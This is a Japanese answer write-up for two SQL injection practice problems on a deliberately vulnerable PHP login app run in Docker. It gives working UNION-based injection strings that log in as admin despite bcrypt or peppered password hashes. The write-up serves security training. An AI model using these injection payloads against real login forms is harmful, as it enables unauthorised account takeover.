【徳丸】パスワードがハッシュで保存されているサイトのSQLインジェクション 答案

# 環境構築

今回の問題では、問題サーバーを立てるのにDockerを用いる。
Docker環境は、AWS EC2 を用いて以下の手順で構築できる。

まず、EC2インスタンスを立てる。
インスタンスタイプは t2.micro、AMI は amd64 の Ubuntu のものを用いた。

次に、Dockerをインストールする。
Tera Term でSSHログインし、
[Install Docker Engine on Ubuntu | Docker Docs](https://docs.docker.com/engine/install/ubuntu/#install-using-the-repository)
に掲載されている以下のコマンドを実行する。

```
sudo apt-get update
sudo apt-get install ca-certificates curl gnupg
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg
echo \
  "deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  "$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
```

Dockerのインストール後、問題のリポジトリに掲載されているコマンドを実行することで問題サーバーを立てることができる。
ただし、このとき `docker` の前に `sudo` と空白を補って実行する。

サーバーを立てたら、Tera Termの「SSH転送」を用いてポート転送を設定することで、手元からアクセスできるようになる。

# 最初の問題

[パスワードがハッシュ値で保存されているサイトのSQLインジェクションによる認証回避の練習問題 - Qiita](https://qiita.com/ockeghem/items/787f74801a24e1fc6960)

`html/login.php` において、

```php
$sql = "SELECT * FROM users WHERE userid = '$userid'";
```

というクエリを用いてユーザーの情報を取得し、

```php
if ($user && password_verify($password, $user['password'])) {
```

というコードでログインの判定を行っている。

テーブルは、`php/init.sql` で以下のように定義されている。

```sql
CREATE TABLE users (id int, userid varchar(64), password varchar(128),  email varchar(128), PRIMARY KEY (id));
INSERT INTO users VALUES (1, 'admin', '$2y$10$7sTu7b3VW6cMreA6QrdYkOQpPP9hSiXLDpuAzElGHios2N/y5Ct2C', 'admin@example.jp');
INSERT INTO users VALUES (2, 'alice', '$2y$10$fxOHmQr3NB4xfvkxOnTTqudbLGUQj4LCgScg9vmsNnpTpRuG4lWMW', 'alice@example.jp');
```

CyberChef の Bcrypt 機能を用いることで、ここで `password` に設定しているのに似た文字列を得ることができる。
[Bcrypt - CyberChef](https://gchq.github.io/CyberChef/#recipe=Bcrypt%2810%29&input=aG9nZQ)

入力 `hoge` に対し、例えば以下の出力が得られた。

```
$2a$10$vqsqovz5ANh8pA.QuKekM.mcDBqm0o8M0KckQLlcmcN4IQq5Xp7yy
```

問題で設定されている文字列は `$2y` で始まっているのに対し、CyberChef の出力は `$2a` で始まっているので、異なる形式のように見える。
しかし、結論から言うとこの文字列を用いてログインが可能であった。
~~よく考えたら、こんなことをしなくても alice のパスワードはわかっているんだから alice の password 文字列を使えばよかったんだ。~~

今回のアプリケーションは取得した `userid` をそのまま出力するので、`UNION` で `userid` が `admin`、`password` が既知のパスワードに対応する文字列になるような行を付加することで、`admin` としてログインした状態を作れる。
よって、たとえば UserID に以下の文字列、Password に `hoge` を入力して送信すればよい。

```
' UNION SELECT 334, 'admin', '$2a$10$vqsqovz5ANh8pA.QuKekM.mcDBqm0o8M0KckQLlcmcN4IQq5Xp7yy', '334
```

# ペッパー付きの問題

[パスワードがペッパー付きハッシュ値で保存されているサイトのSQLインジェクションによる認証回避の練習問題 - Qiita](https://qiita.com/ockeghem/items/0f3b09a0f413bdd39bd5)

最初の問題と似た処理であるが、パスワードの後に秘密の文字列を結合したものを認証に用いる。
さらに、ユーザー登録機能が追加されている。
そして、

> ログイン後に「マイページ」に遷移して、adminの情報が表示できれば攻撃成功です。

という定義になっている。

## 攻撃手法1

最初の問題と同様に `UNION` を用いて `admin` の情報を取得させる。
このとき、`password` の文字列を外部サービスで生成するのではなく、ユーザー登録した自分の情報をサブクエリで取得して用いる。

たとえば、UserID と Password をともに `hoge` で登録後、UserID に以下の文字列、Password に `hoge` を入力して送信すればよい。

```
' UNION SELECT id, userid, (SELECT password FROM users WHERE userid='hoge') AS password, email FROM users WHERE userid='admin
```

## 攻撃手法2

攻撃成功の定義を分解すると、

1. ログイン
2. 「マイページ」に遷移
3. adminの情報を表示

という操作を行えばよいと解釈できる。
adminの情報 (名前：`admin`、メールアドレス：`admin@example.jp`) は、問題の記事や `main/php/init.php` からわかっている。
さらに、マイページでは、情報を単純なテキストとして表示しており、たとえば以下のような対策は行われていない。

* 情報の改ざんを難しくする対策
  * 情報を画像として表示する
  * 特殊なフォントを用い、文字コードに通常は対応しない文字を表示する
* 開発者ツールの使用を妨害する対策
  * 右クリックを禁止する
  * F12キーのイベントを `preventDefault()` する

よって、**マイページ**に**情報が開発者ツールを用いて用意に改ざんできる脆弱性**がある。
この脆弱性を活用し、適当な情報で登録・ログイン後、マイページに遷移し、情報を開発者ツールを用いてadminの情報に書き換えることで、攻撃成功の条件を満たすことができる。

## 攻撃手法3

今回の問題サーバーは、HTTPSではなくHTTPを用いて通信を行っている。
よって、通信経路に対し中間者攻撃を行ってマイページの内容を改ざんし、adminの情報に置き換えることによっても、攻撃成功の条件を満たすことができると予想できる。